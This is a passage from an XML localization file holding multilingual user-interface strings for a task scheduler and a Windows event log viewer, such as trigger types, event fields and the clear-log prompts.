<de>Stunde(n)</de>
<es>horas</es>
<fr>heures</fr>
<it>ore</it>
<ru>часов</ru>
<ja>時間</ja>
<zh>小时</zh>
<ko>시간</ko>
<en-gb>hours</en-gb>
<hu>óra</hu>
<pt-br>horas</pt-br>
<nl>uren</nl>
</msg>
<msg name="XMIN">
<en>minute</en>
<de>Minute</de>
<es>minuto</es>
<fr>minute</fr>
<it>minuto</it>
<ru>минута</ru>
<ja>分</ja>
<zh>分钟</zh>
<ko>분</ko>
<en-gb>minute</en-gb>
<hu>perc</hu>
<pt-br>minuto</pt-br>
<nl>minuut</nl>
</msg>
<msg name="XMINS">
<en>minutes</en>
<de>Minuten</de>
<es>minutos</es>
<fr>minutes</fr>
<it>minuti</it>
<ru>минут</ru>
<ja>分</ja>
<zh>分钟</zh>
<ko>분</ko>
<en-gb>minutes</en-gb>
<hu>perc</hu>
<pt-br>minutos</pt-br>
<nl>minuten</nl>
</msg>
<msg name="REPEAT">
<!-- repeat every N minutes -->
<en>Repeat task</en>
<de>Task wiederholen</de>
<es>Repetir tarea</es>
<fr>Répéter la tâche</fr>
<it>Ripeti attività</it>
<ru>Повторять задание</ru>
<ja>タスクの反復回数</ja>
<zh>重复任务</zh>
<ko>작업 반복</ko>
<en-gb>Repeat task</en-gb>
<hu>Feladat megismétlése</hu>
<pt-br>Repetir tarefa</pt-br>
<nl>Taak herhalen</nl>
</msg>
<msg name="FOR">
<!-- repeat for N minutes -->
<en>For</en>
<de>Für</de>
<es>Para</es>
<fr>Pour</fr>
<it>Per</it>
<ru>Для</ru>
<ja>期間</ja>
<zh>持续</zh>
<ko>기간</ko>
<en-gb>For</en-gb>
<hu>Eddig</hu>
<pt-br>Para</pt-br>
<nl>Gedurende:</nl>
</msg>
<msg name="DAYS">
<!-- run on these days of the week/month -->
<en>Days</en>
<de>Tag(e)</de>
<es>Días</es>
<fr>Jours</fr>
<it>Giorni</it>
<ru>Дни</ru>
<ja>日</ja>
<zh>天</zh>
<ko>일</ko>
<en-gb>Days</en-gb>
<hu>nap</hu>
<pt-br>Dias</pt-br>
<nl>Dagen</nl>
</msg>
<msg name="MONTHS">
<!-- run in these months of the year -->
<en>Months</en>
<de>Monat(e)</de>
<es>Meses</es>
<fr>Mois</fr>
<it>Mesi</it>
<ru>Месяцы</ru>
<ja>月</ja>
<zh>月</zh>
<ko>개월</ko>
<en-gb>Months</en-gb>
<hu>Hónap</hu>
<pt-br>Meses</pt-br>
<nl>Maanden</nl>
</msg>
<msg name="IDLETIME">
<en>Idle time</en>
<de>Leerlaufzeit</de>
<es>Tiempo en reposo</es>
<fr>Temps d'inactivité</fr>
<it>Tempo di inattività</it>
<ru>Время простоя</ru>
<ja>アイドル時間</ja>
<zh>闲置时间</zh>
<ko>유휴 시간</ko>
<en-gb>Idle time</en-gb>
<hu>Üresjárati idő</hu>
<pt-br>Tempo ocioso</pt-br>
<nl>Tijd niet-actief</nl>
</msg>
<msg name="UNSCHED">
<en>Task not scheduled</en>
<de>Task nicht geplant</de>
<es>Tarea no programada</es>
<fr>Tâche non planifiée</fr>
<it>Attività non pianificata</it>
<ru>Задание не запланировано</ru>
<ja>スケジュールされていないタスク</ja>
<zh>未计划的任务</zh>
<ko>작업이 예약되지 않음</ko>
<en-gb>Task not scheduled</en-gb>
<hu>A feladat nincs ütemezve</hu>
<pt-br>Tarefa não programada</pt-br>
<nl>Taak is niet gepland</nl>
</msg>
<cat name="TRIGGER">
<!-- types of triggers available -->
<msg name="DAILY">
<en>Daily</en>
<de>Täglich</de>
<es>Diariamente</es>
<fr>Quotidien</fr>
<it>Quotidiano</it>
<ru>Ежедневно</ru>
<ja>毎日</ja>
<zh>每日</zh>
<ko>매일</ko>
<en-gb>Daily</en-gb>
<hu>Naponta</hu>
<pt-br>Diariamente</pt-br>
<nl>Dagelijks</nl>
</msg>
<msg name="WEEKLY">
<en>Weekly</en>
<de>Wöchentlich</de>
<es>Semanalmente</es>
<fr>Hebdomadaire</fr>
<it>Settimanale</it>
<ru>Еженедельно</ru>
<ja>毎週</ja>
<zh>每周</zh>
<ko>매주</ko>
<en-gb>Weekly</en-gb>
<hu>Hetente</hu>
<pt-br>Semanalmente</pt-br>
<nl>Wekelijks</nl>
</msg>
<msg name="MONTHLYD">
<en>Monthly (date)</en>
<de>Monatlich (Datum)</de>
<es>Mensualmente (fecha)</es>
<fr>Mensuel (date)</fr>
<it>Mensile (data)</it>
<ru>Ежемесячно (дата)</ru>
<ja>毎月 (日付)</ja>
<zh>每月(日期)</zh>
<ko>매월(날짜)</ko>
<en-gb>Monthly (date)</en-gb>
<hu>Havonta (dátum)</hu>
<pt-br>Mensalmente (data)</pt-br>
<nl>Maandelijks (datum)</nl>
</msg>
<msg name="MONTHLYW">
<en>Monthly (day of week)</en>
<de>Monatlich (Tag der Woche)</de>
<es>Mensualmente (día de la semana)</es>
<fr>Mensuel (jour de semaine)</fr>
<it>Mensile (giorno della settimana)</it>
<ru>Ежемесячно (день недели)</ru>
<ja>毎月 (曜日)</ja>
<zh>每月(星期日期)</zh>
<ko>매월(요일)</ko>
<en-gb>Monthly (day of week)</en-gb>
<hu>Havonta (a hét napja)</hu>
<pt-br>Mensalmente (dia da semana)</pt-br>
<nl>Maandelijks (weekdag)</nl>
</msg>
<msg name="ONCE">
<en>Once</en>
<de>Einmalig</de>
<es>Una vez</es>
<fr>Une fois</fr>
<it>Una volta</it>
<ru>Один раз</ru>
<ja>1 回</ja>
<zh>一次</zh>
<ko>한 번</ko>
<en-gb>Once</en-gb>
<hu>Egyszer</hu>
<pt-br>Uma vez</pt-br>
<nl>Eén keer</nl>
</msg>
<msg name="SYSTEM">
<en>At system startup</en>
<de>Beim Systemstart</de>
<es>Al arrancar el sistema</es>
<fr>Au démarrage système</fr>
<it>All'avvio del sistema</it>
<ru>При запуске системы</ru>
<ja>システムの起動時</ja>
<zh>系统启动时</zh>
<ko>시스템 시작 시</ko>
<en-gb>At system startup</en-gb>
<hu>A rendszer indulásakor</hu>
<pt-br>Na inicialização do sistema</pt-br>
<nl>Bij opstarten van systeem</nl>
</msg>
<msg name="LOGON">
<en>At logon</en>
<de>Bei der Anmeldung</de>
<es>Al iniciar sesión</es>
<fr>A l'ouverture de session</fr>
<it>All'accesso</it>
<ru>При входе в систему</ru>
<ja>ログイン時</ja>
<zh>登录时</zh>
<ko>로그온 시</ko>
<en-gb>At logon</en-gb>
<hu>Bejelentkezéskor</hu>
<pt-br>No logon</pt-br>
<nl>Bij aanmelden</nl>
</msg>
<msg name="IDLE">
<en>When idle</en>
<de>Im Leerlauf</de>
<es>Al estar en reposo</es>
<fr>Lorsque innocupé</fr>
<it>Quando inattivo</it>
<ru>Во время простоя</ru>
<ja>アイドル状態のとき</ja>
<zh>空闲时</zh>
<ko>유휴 상태일 때</ko>
<en-gb>When idle</en-gb>
<hu>Üresjáratban</hu>
<pt-br>Quando ocioso</pt-br>
<nl>Indien niet-actief</nl>
</msg>
<msg name="REPEAT">
<en>Repeat</en>
<de>Nochmalig</de>
<es>Repetir</es>
<fr>Répétition</fr>
<it>Ripeti</it>
<ru>Повторить</ru>
<ja>繰り返し</ja>
<zh>重复</zh>
<ko>반복</ko>
<en-gb>Repeat</en-gb>
<hu>Ismétlés</hu>
<pt-br>Repetir</pt-br>
<nl>Herhalen</nl>
</msg>
<msg name="ENDDATE">
<en>End Date</en>
<de>Enddatum</de>
<es>Fecha de finalización</es>
<fr>Date de fin</fr>
<it>Data di fine</it>
<ru>Дата завершения</ru>
<ja>終了日</ja>
<zh>结束日期</zh>
<ko>끝 날짜</ko>
<en-gb>End Date</en-gb>
<hu>A  befejezés dátuma</hu>
<pt-br>Data de término</pt-br>
<nl>Einddatum</nl>
</msg>
</cat>
<cat name="WOM">
<!-- weeks of month -->
<msg name="TITLE">
<en>On the</en>
<de>In der</de>
<es>En la</es>
<fr>A la</fr>
<it>Nella</it>
<ru>В</ru>
<ja>毎月</ja>
<zh>在月份的</zh>
<ko>순서</ko>
<en-gb>On the</en-gb>
<hu>Ekkor:</hu>
<pt-br>Na</pt-br>
<nl>Op de</nl>
</msg>
<msg name="1">
<en>first</en>
<de>ersten</de>
<es>primera</es>
<fr>premièe</fr>
<it>prima</it>
<ru>первую</ru>
<ja>第 1</ja>
<zh>第一</zh>
<ko>첫 번째</ko>
<en-gb>first</en-gb>
<hu>első</hu>
<pt-br>primeiro</pt-br>
<nl>eerste</nl>
</msg>
<msg name="2">
<en>second</en>
<de>zweiten</de>
<es>segunda</es>
<fr>second</fr>
<it>seconda</it>
<ru>вторую</ru>
<ja>第 2</ja>
<zh>第二</zh>
<ko>두 번째</ko>
<en-gb>second</en-gb>
<hu>második</hu>
<pt-br>segundo</pt-br>
<nl>tweede</nl>
</msg>
<msg name="3">
<en>third</en>
<de>dritten</de>
<es>tercera</es>
<fr>troisième</fr>
<it>terza</it>
<ru>третью</ru>
<ja>第 3</ja>
<zh>第三</zh>
<ko>세 번째</ko>
<en-gb>third</en-gb>
<hu>harmadik</hu>
<pt-br>terceiro</pt-br>
<nl>derde</nl>
</msg>
<msg name="4">
<en>fourth</en>
<de>vierten</de>
<es>cuarta</es>
<fr>quatrième</fr>
<it>quarta</it>
<ru>четвертую</ru>
<ja>第 4</ja>
<zh>第四</zh>
<ko>네 번째</ko>
<en-gb>fourth</en-gb>
<hu>negyedik</hu>
<pt-br>quarto</pt-br>
<nl>vierde</nl>
</msg>
<msg name="5">
<en>last</en>
<de>letzte Ausführung</de>
<es>última</es>
<fr>dernière</fr>
<it>ultima</it>
<ru>последнюю</ru>
<ja>最後の</ja>
<zh>最后一个</zh>
<ko>마지막</ko>
<en-gb>last</en-gb>
<hu>utolsó</hu>
<pt-br>último</pt-br>
<nl>laatste</nl>
</msg>
<msg name="DESCR">
<en>week of the month(s)</en>
<de>Woche des Monats</de>
<es>semana del/de los mes(es)</es>
<fr>semaine du (des) mois</fr>
<it>settimana del mese</it>
<ru>неделю месяцев</ru>
<ja>週</ja>
<zh>周</zh>
<ko>특정 주</ko>
<en-gb>week of the month(s)</en-gb>
<hu>hete a hónapnak</hu>
<pt-br>Semanas do mês</pt-br>
<nl>week van de maand(en)</nl>
</msg>
</cat>
</cat>
<!-- "event log" screen messages -->
<cat name="EVENTS">
<msg name="TITLE">
<en>Event Viewer</en>
<de>Ereignisanzeige</de>
<es>Visor de sucesos</es>
<fr>Visionneuse d'Evénements</fr>
<it>Visualizzatore eventi</it>
<ru>Окно просмотра события</ru>
<ja>イベント ビューア</ja>
<zh>事件查看器</zh>
<ko>이벤트 뷰어</ko>
<en-gb>Event Viewer</en-gb>
<hu>Eseményfigyelő</hu>
<pt-br>Visualizador de eventos</pt-br>
<nl>Viewer voor gebeurtenissen</nl>
</msg>
<msg name="LOGTYPE">
<en>Event Log</en>
<de>Ereignisprotokolls</de>
<es>Registro de sucesos</es>
<fr>Notification d'événement</fr>
<it>Registro eventi</it>
<ru>Журнал событий</ru>
<ja>イベント ログ</ja>
<zh>事件日志</zh>
<ko>이벤트 로그</ko>
<en-gb>Event Log</en-gb>
<hu>Eseménynapló</hu>
<pt-br>Log do evento</pt-br>
<nl>Gebeurtenislogboek</nl>
</msg>
<msg name="LOG">
<en>Log</en>
<de>Protokoll</de>
<es>Registrar</es>
<fr>Journal</fr>
<it>Registro</it>
<ru>Журнал</ru>
<ja>ログ</ja>
<zh>日志</zh>
<ko>로그</ko>
<en-gb>Log</en-gb>
<hu>Napló</hu>
<pt-br>Log</pt-br>
<nl>Logboek</nl>
</msg>
<msg name="ID">
<en>Event ID</en>
<de>Ereignis-ID</de>
<es>ID de suceso</es>
<fr>ID d'Evénement</fr>
<it>ID evento</it>
<ru>ИД события</ru>
<ja>イベント ID</ja>
<zh>事件 ID</zh>
<ko>이벤트 ID</ko>
<en-gb>Event ID</en-gb>
<hu>Esemény azonosítója</hu>
<pt-br>ID do evento</pt-br>
<nl>Gebeurtenis-ID</nl>
</msg>
<msg name="SOURCE">
<en>Source</en>
<de>Quelle</de>
<es>Origen</es>
<fr>Source</fr>
<it>Origine</it>
<ru>Источник</ru>
<ja>ソース</ja>
<zh>源</zh>
<ko>원본</ko>
<en-gb>Source</en-gb>
<hu>Forrás</hu>
<pt-br>Origem</pt-br>
<nl>Bron</nl>
</msg>
<msg name="USER">
<en>User</en>
<de>Benutzer</de>
<es>Usuario</es>
<fr>Utilisateur</fr>
<it>Utente</it>
<ru>Пользователь</ru>
<ja>ユーザ</ja>
<zh>用户</zh>
<ko>사용자</ko>
<en-gb>User</en-gb>
<hu>Felhasználó</hu>
<pt-br>Usuário</pt-br>
<nl>Gebruiker</nl>
</msg>
<msg name="GENERATED">
<en>Generated</en>
<de>Generiert</de>
<es>Generado</es>
<fr>Généré</fr>
<it>Generato</it>
<ru>Создан</ru>
<ja>生成済み</ja>
<zh>已生成</zh>
<ko>생성됨</ko>
<en-gb>Generated</en-gb>
<hu>Létrehozott</hu>
<pt-br>Gerado</pt-br>
<nl>Gegenereerd op</nl>
</msg>
<msg name="CATEGORY">
<en>Category</en>
<de>Kategorie</de>
<es>Categoría</es>
<fr>Catégorie</fr>
<it>Categoria</it>
<ru>Категория</ru>
<ja>カテゴリ</ja>
<zh>类别</zh>
<ko>범주</ko>
<en-gb>Category</en-gb>
<hu>Kategória</hu>
<pt-br>Categoria</pt-br>
<nl>Categorie</nl>
</msg>
<msg name="COMPUTER">
<en>Computer</en>
<de>Computer</de>
<es>Ordenador</es>
<fr>Ordinateur</fr>
<it>Computer</it>
<ru>Компьютер</ru>
<ja>コンピュータ</ja>
<zh>计算机</zh>
<ko>컴퓨터</ko>
<en-gb>Computer</en-gb>
<hu>Számítógép</hu>
<pt-br>Computador</pt-br>
<nl>Computer</nl>
</msg>
<msg name="MSG">
<en>Message</en>
<de>Nachricht</de>
<es>Mensaje</es>
<fr>Message</fr>
<it>Messaggio</it>
<ru>Сообщение</ru>
<ja>メッセージ</ja>
<zh>消息</zh>
<ko>메시지</ko>
<en-gb>Message</en-gb>
<hu>Üzenet</hu>
<pt-br>Mensagem</pt-br>
<nl>Bericht</nl>
</msg>
<msg name="DATA">
<en>Data</en>
<de>Daten</de>
<es>Datos</es>
<fr>Donnée</fr>
<it>Dati</it>
<ru>Дата</ru>
<ja>データ</ja>
<zh>数据</zh>
<ko>데이터</ko>
<en-gb>Data</en-gb>
<hu>Adat</hu>
<pt-br>Dados</pt-br>
<nl>Gegevens</nl>
</msg>
<msg name="NONE">
<en>Event log empty</en>
<de>Ereignisprotokoll ist leer</de>
<es>Registro de sucesos vacío</es>
<fr>Journal d'événements vide</fr>
<it>Registro eventi vuoto</it>
<ru>Пустой журнал событий</ru>
<ja>イベント ログが空です</ja>
<zh>事件日志为空</zh>
<ko>이벤트 로그가 비어 있음</ko>
<en-gb>Event log empty</en-gb>
<hu>Az eseménynapló üres</hu>
<pt-br>Log de eventos vazio</pt-br>
<nl>Gebeurtenislogboek is leeg</nl>
</msg>
<msg name="NOEVENT">
<en>No event selected</en>
<de>Kein Ereignis ausgewählt</de>
<es>Ningún suceso seleccionado</es>
<fr>Aucun événement sélectionné</fr>
<it>Nessun evento selezionato</it>
<ru>События не выбраны</ru>
<ja>イベントが選択されていません</ja>
<zh>未选定事件</zh>
<ko>이벤트를 선택하지 않음</ko>
<en-gb>No event selected</en-gb>
<hu>Nincs kiválasztott esemény</hu>
<pt-br>Nenhum evento selecionado</pt-br>
<nl>Geen gebeurtenis geselecteerd</nl>
</msg>
<cat name="DESCR">
<msg name="Application">
<en>The Application log records events logged by applications.
For example, a database application might record a file error
in the Application log.</en>
<de>Das Anwendungsprotokoll zeichnet Ereignisse auf, die von Anwendungen
protokolliert werden. So wird zum Beispiel ein Dateizugriffsfehler einer
Datenbankanwendung im Anwendungsprotokoll aufgezeichnet.</de>
<es>El registro de la aplicación registra sucesos cargados por las aplicaciones.
Por ejemplo, una aplicación de base de datos podría registrar un error de archivo
en el registro de la aplicación.</es>
<fr>L'Application de notification enregistre des événements provenant des applications.
Par exemple, une erreur produite par une application de base de données
pourrait être enregistrée par l'Application de notification.</fr>
<it>Nel registro delle applicazioni sono elencati gli eventi registrati dalle applicazioni. Ad esempio, un'applicazione di database può registrare un errore di file nel registro delle applicazioni.</it>
<ru>В журнале приложений регистрируются события, инициированные приложениями.
Например, приложения баз данных могут записывать ошибки обработки файлов в журнал приложений</ru>
<ja>アプリケーション ログは、アプリケーションによりログされたイベントを記録します。たとえばデータベース アプリケーションは、アプリケーション ログにあるファイル エラーを記録します。</ja>
<zh>应用程序日志将记录由应用程序记录的事件。例如,数据库应用程序可以记录应用程序日志中的文件错误。</zh>
<ko>응용 프로그램 로그는 응용 프로그램이 로깅한 이벤트를 기록합니다. 예를 들어 데이터베이스 응용 프로그램은 응용 프로그램 로그에 파일 오류를 기록할 수 있습니다.</ko>
<en-gb>The Application log records events logged by applications.
For example, a database application might record a file error in the Application log.</en-gb>
<hu>Az Alkalmazásnapló az alkalmazások által naplózott eseményeket rögzíti.
Például, egy adatbázis-alkalmazás egy fájlhibát rögzíthet
az Alkalmazásnaplóban</hu>
<pt-br>O log do aplicativo registra eventos registrados por aplicativos.
Por exemplo, um aplicativo do banco de dados pode registrar um erro de arquivo
no log de aplicativo.</pt-br>
<nl>In het Toepassingslogboek worden de gebeurtenissen geregistreerd door de toepassingen. Zo zal een databasetoepassing bijvoorbeeld een bestandsfout in het Toepassingslogboek registreren.</nl>
</msg>
<msg name="System">
<en>The System log records events logged by the Windows NT system
components. For example, the failure of a driver or other system
component to load during startup is recorded in the System log.</en>
<de>Das Systemprotokoll zeichnet Ereignisse auf, die von den Komponenten des
Betriebssystems (NT/W2k/XP) protokolliert werden. So wird zum Beispiel die
Fehlermeldung, die ein Treiber zurückliefert, der während des Systemstarts
nicht geladen werden konnte im Systemprotokoll aufgezeichnet.</de>
<es>El registro del sistema registra sucesos de los componentes del sistema 
Windows NT. Por ejemplo, el error de un driver o de otro componente
del sistema que haya que cargar durante el arranque, se registra en el los del sistema.</es>
<fr>Le journal système enregistre des événements notifiés par les composants du système Windows NT. 
Par exemple, l'échec de chargement d'un pilote ou de tout autre composant 
au démarrage est enregistré dans le journal système.</fr>
<it>Nel registro di sistema sono elencati gli eventi registrati dai componenti del sistema Windows NT. Ad esempio, il mancato caricamento di un'unità o di un altro componente del sistema durante l'avvio viene registrato nel registro di sistema.</it>
<ru>В системном журнале регистрируются события, инициированные компонентами системы Windows NT. Например, в системный журнал заносятся данные о сбоях драйверов или системных компонентов, возникающих во время загрузки.</ru>
<ja>システム ログは、Windows NT システム コンポーネントによりログされたイベントを記録します。たとえばシステム ログには、ドライバや起動中にロードする他のシステム コンポーネントの失敗が記録されます。</ja>
<zh>系统日志将记录由 Windows NT 系统组件记录的事件。例如,在启动过程中,要加载的驱动程序或其他系统组件的故障将记录在系统日志中。</zh>
<ko>시스템 로그는 Windows NT 시스템 구성 요소가 로깅한 이벤트를 기록합니다. 예를 들어 시작 중에 드라이버 또는 다른 시스템 구성 요소가 로드에 실패했음이 시스템 로그에 기록됩니다.</ko>
<en-gb>The System log records events logged by the Windows NT system components. For example, the failure of a driver or other system component to load during startup is recorded in the System log.</en-gb>
<hu>A Rendszernapló a Windows NT rendszer összetevői által naplózott eseményeket
rögzíti. Például, egy illesztőprogram vagy más rendszer-
összetevő sikertelen betöltését az indítás során, a Rendszernaplóban rögzíti a rendszer.</hu>
<pt-br>O log do sistema registra eventos registrados pelo sistema dos componentes do
Windows NT. Por exemplo, a falha de um driver ou outro componente do sistema
para carregar durante a inicialização é registrada no log do sistema.</pt-br>
<nl>In het Systeemlogboek worden de gebeurtenissen geregistreerd door de systeemonderdelen van Windows NT. Zo wordt in het Systeemlogboek bijvoorbeeld de gebeurtenis geregistreerd wanneer een stuurprogramma of een ander onderdeel van het systeem tijdens het opstarten niet kan worden geladen.</nl>
</msg>
<msg name="Security">
<en>The Security log records security events. This helps track
changes to the security system and identify any possible breaches
to security. For example, attempts to log on the system may be
recorded in the Security log, depending on the Audit settings
in User Manager. You can view the Security log only if you are
an Administrator for a computer.</en>
<de>Das Sicherheitsprotokoll zeichnet Ereignisse auf, die von den Komponenten
protokolliert werden, die für Freigabe und Sicherheit verantwortlich zeichnen.
Dies hilft Ihnen dabei, Veränderungen des Sicherheitssystems wie auch mögliche
Schutzverletzungen zu erkennen. So können erfolglose Anmeldeversuche im
Sicherheitsprotokoll aufgezeichnet werden, abhängig von den Einstellungen in
der Benutzerverwaltung. Das Sicherheitsprotokoll kann nur von den Konten mit
Administratorrechten eingesehen werden.</de>
<es>El registro de seguridad registra sucesos relacionados con la seguridad. Esto ayuda al seguimiento
de los cambios efectuados en el sistema de seguridad y a identificar posibles infracciones
de la seguridad. Por ejemplo, los intentos de inicio de sesión en el sistema podrían
registrarse en el registro de seguridad, dependiendo de la configuración de control
del Gestor de usuarios. Puede ver el registro de seguridad sólo si es
un Administrador del ordenador.</es>
<fr>Le journal de sécurité enregistre des événements de sécurité. Ceci aide à traquer
tous les changements et les possibles failles de sécutié du système.
Par exemple, des tentatives d'accès au système peuvent être enregistrées dans
le journal de sécurité, selon les paramètres définis dans l'Audit sous Edition Utilisateur.
Vous pouvez consulter le journal de sécurité seulement si vous êtes administrateur de l'ordinateur.</fr>
<it>Nel registro di protezione sono elencati gli eventi relativi alla protezione. Questo registro consente di tenere traccia delle modifiche apportate al sistema di protezione e di identificare possibili infrazioni alla protezione. Nel registro di protezione è possibile registrare, ad esempio, i tentativi di accesso al server, a seconda delle impostazioni di controllo in Gestione utente. Per visualizzare il registro di protezione è necessario disporre dei diritti di amministratore per il computer.</it>
<ru>В журнал безопасности записываются события, связанные с безопасностью. Это помогает отслеживать изменения системы безопасности и определять любые возможные нарушения безопасности. Например, в зависимости от настроек аудита в диспетчере пользователя в журнале безопасности могут регистрироваться попытки входа в систему. Журнал безопасности может просматривать только администратор компьютера.</ru>
<ja>セキュリティ ログは、セキュリティ イベントを記録します。これは、セキュリティ システムへの変更を追跡し、考えられるセキュリティの侵害を識別するのに役立ちます。たとえば、ユーザ マネージャの監査設定によっては、システムへのログインの試みがセキュリティ ログに記録されることがあります。セキュリティ ログは、コンピュータの管理者以外は閲覧できません。</ja>
<zh>安全日志用于记录安全事件。这有助于跟踪对安全系统的更改并标识任何可能的破坏安全行为。例如,根据用户管理器中的审计设置,登录系统尝试可能会记录在安全日志中。只有计算机管理员才可以查看安全日志。</zh>
<ko>보안 로그는 보안 이벤트를 기록합니다. 이 로그는 보안 시스템 변경 사항을 추적하고 가능한 모든 보안 위반을 식별하는 데 도움이 됩니다. 예를 들어 시스템에 로그온하려는 시도는 사용자 관리자의 감사 설정에 따라 보안 로그에 기록될 수 있습니다. 사용자가 컴퓨터의 관리자일 경우 보안 로그를 볼 수 있습니다.</ko>
<en-gb>The Security log records security events. This helps track changes to the security system and identify any possible breaches of security. For example, attempts to log on the system may be recorded in the Security log, depending on the Audit settings in User Manager. Only an Administrator for a computer can view the Security log.</en-gb>
<hu>A Biztonsági napló a biztonsági eseményeket rögzíti. Ez segít a
biztonsági rendszernek a változások követésében és azonosítja az esetleges biztonsági 
sérüléseket. Például, a rendszerbe való bejelentkezési kísérleteket fel lehet
jegyezni a Biztonsági naplóban, a  naplózási beállításoktól függően 
a Felhasználókezelőben Csak akkor tekintheti meg a Biztonsági naplót, ha Ön
egy számítógép rendszergazdája.</hu>
<pt-br>O log de segurança registra eventos de segurança. Ele ajuda a rastrear
alterações no sistema de segurança e identificar quaisquer possíveis brechas
de segurança. Por exemplo, tentativas de logon em sistemas podem ser
registradas no log de segurança, dependendo das configurações de auditoria
do Gerenciador de usuários. Você só pode ver o log de segurança se for 
Administrador de um computador.</pt-br>
<nl>In het Beveiligingslogboek worden de beveiligingsgebeurtenissen geregistreerd. Hiermee kunt u wijzigingen in het beveiligingssysteem opsporen en eventuele inbreuken op de beveiliging identificeren. Zo wordt bijvoorbeeld elke poging om u bij het systeem aan te melden in het Beveiligingslogboek geregistreerd, afhankelijk van de Controle-instellingen die in Gebruikersbeheer zijn opgegeven. U kunt het Beveiligingslogboek alleen weergeven als u zich op de computer als systeembeheerder hebt aangemeld.</nl>
</msg>
</cat>
<cat name="TYPE">
<msg name="info">
<en>Information</en>
<de>Information</de>
<es>Información</es>
<fr>Information</fr>
<it>Informazioni</it>
<ru>Информация</ru>
<ja>情報</ja>
<zh>信息</zh>
<ko>정보</ko>
<en-gb>Information</en-gb>
<hu>Információ</hu>
<pt-br>Informações</pt-br>
<nl>Informatie</nl>
</msg>
<msg name="warning">
<en>Warning</en>
<de>Warnung</de>
<es>Aviso</es>
<fr>Avertissement</fr>
<it>Avviso</it>
<ru>Предупреждение</ru>
<ja>警告</ja>
<zh>警告</zh>
<ko>경고</ko>
<en-gb>Warning</en-gb>
<hu>Figyelmeztetés</hu>
<pt-br>Aviso</pt-br>
<nl>Waarschuwing</nl>
</msg>
<msg name="error">
<en>Error</en>
<de>Fehler</de>
<es>Error</es>
<fr>Erreur</fr>
<it>Errore</it>
<ru>Ошибка</ru>
<ja>エラー</ja>
<zh>错误</zh>
<ko>오류</ko>
<en-gb>Error</en-gb>
<hu>Hiba</hu>
<pt-br>Erro</pt-br>
<nl>Fout</nl>
</msg>
<msg name="errwarn">
<en>Error &amp; Warning</en>
<de>Fehler &amp; Warnung</de>
<es>Error &amp; Aviso</es>
<fr>Erreur &amp; Avertissement</fr>
<it>Errore e avviso</it>
<ru>Ошибка и предупреждение</ru>
<ja>エラー &amp; 警告</ja>
<zh>错误与警告</zh>
<ko>오류 및 경고</ko>
<en-gb>Error &amp; Warning</en-gb>
<hu>Hiba és figyelmeztetés</hu>
<pt-br>Erro &amp; Aviso</pt-br>
<nl>Fout &amp; waarschuwing</nl>
</msg>
<msg name="auditsucc">
<en>Audit Success</en>
<de>Prüfung erfolgreich</de>
<es>Control satisfactorio</es>
<fr>Succès d'Audit</fr>
<it>Controllo completato</it>
<ru>Успех проверки</ru>
<ja>監査が成功しました</ja>
<zh>审计成功</zh>
<ko>감사 성공</ko>
<en-gb>Audit Success</en-gb>
<hu>Sikeres naplózás</hu>
<pt-br>Auditoria bem-sucedida</pt-br>
<nl>Controle gelukt</nl>
</msg>
<msg name="auditfail">
<en>Audit Failure</en>
<de>Prüfung fehlerhaft</de>
<es>Control fallido</es>
<fr>Echec d'Audit</fr>
<it>Controllo non riuscito</it>
<ru>Ошибка аудита</ru>
<ja>監査が失敗しました</ja>
<zh>审计失败</zh>
<ko>감사 실패</ko>
<en-gb>Audit Failure</en-gb>
<hu>Sikertelen naplózás</hu>
<pt-br>Falha na auditoria</pt-br>
<nl>Controle mislukt</nl>
</msg>
<msg name="all">
<en>All types</en>
<de>Alle Typen</de>
<es>Todos los tipos</es>
<fr>Tous types</fr>
<it>Tutti i tipi</it>
<ru>Все типы</ru>
<ja>すべての種類</ja>
<zh>所有类型</zh>
<ko>모든 유형</ko>
<en-gb>All types</en-gb>
<hu>Minden típus</hu>
<pt-br>Todos os tipos</pt-br>
<nl>Alle typen</nl>
</msg>
</cat>
<msg name="CLEAR">
<en>Clear Log</en>
<de>Protokoll löschen</de>
<es>Limpiar Log</es>
<fr>Effacer le Journal</fr>
<it>Cancella registro</it>
<ru>Очистить журнал</ru>
<ja>ログを消去</ja>
<zh>清除日志</zh>
<ko>로그 지우기</ko>
<en-gb>Clear Log</en-gb>
<hu>Napló törlése</hu>
<pt-br>Limpar log</pt-br>
<nl>Logboek wissen</nl>
</msg>
<msg name="CONFIRM">
<en>Are you sure you want to clear this event log?</en>
<de>Sind Sie sicher, dass Sie das Ereignisprotokoll löschen wollen?</de>
<es>¿Está seguro de que desea limpiar el registro de este suceso?</es>
<fr>Êtes-vous sûr de vouloir effacer le journal d'événements ?</fr>
<it>Cancellare questo registro eventi?</it>
<ru>Очистить данный журнал событий?</ru>
<ja>このイベント ログを消去しますか?</ja>
<zh>是否确实要清除此事件日志?</zh>
<ko>이 이벤트 로그를 지우시겠습니까?</ko>
<en-gb>Are you sure you want to clear this event log?</en-gb>
<hu>Biztosan törölni kívánja ezt az eseménynaplót?</hu>
<pt-br>Tem certeza de que deseja limpar este log de eventos?</pt-br>
<nl>Weet u zeker dat u dit gebeurtenislogboek wilt wissen?</nl>
</msg>
<msg name="BACKUP">
<en>You can optionally enter a backup filename below where
the system will save the contents of the log before	clearing it.</en>
<de>Sie können unten optional den Namen der Datei eingeben, in die der Inhalt der
Protokolldatei vor dem Löschen gesichert werden soll.</de>
<es>Opcionalmente, puede introducir abajo el nombre de un archivo de backup
donde el sistema guardará los contenidos del registro antes de	limpiarlo.</es>
<fr>(Optionel) Vous pouvez entrez un nom de fichier de sauvegarde ci-dessous où
le système pourra sauvegarder le contenu du journal d'événements avant de l'effacer.</fr>
<it>Prima di cancellarlo, è possibile immettere il nome di un file di backup in cui salvare il contenuto del registro.</it>
<ru>По желанию ниже можно ввести имя файла резервной копии, где система сохранит содержимое журнала перед его очисткой.</ru>
<ja>バックアップ ファイルの名前を以下に入力することもできます。ファイル名を指定すると、消去される前にログの内容がそのファイルに保存されます。</ja>
<zh>您可以选择在下面输入一个备份文件名,系统将在清除日志之前将日志内容保存在此备份文件中。</zh>
<ko>로그를 지우기 전에 시스템이 로그 내용을 저장할 수 있도록 아래에 백업 파일 이름을 선택적으로 입력할 수 있습니다.</ko>
<en-gb>You have the option of entering a backup filename below, where the system will save the contents of the log before clearing it.</en-gb>
<hu>Alább megadhat egy biztonsági másolatul szolgáló fájlnevet is
a rendszer ide fogja menteni a napló tartalmát, mielőtt	törölné azt.</hu>
<pt-br>Opcionalmente, você pode digitar um nome de arquivo de backup abaixo, onde
o sistema salvará o conteúdo do log antes	de limpá-lo.</pt-br>
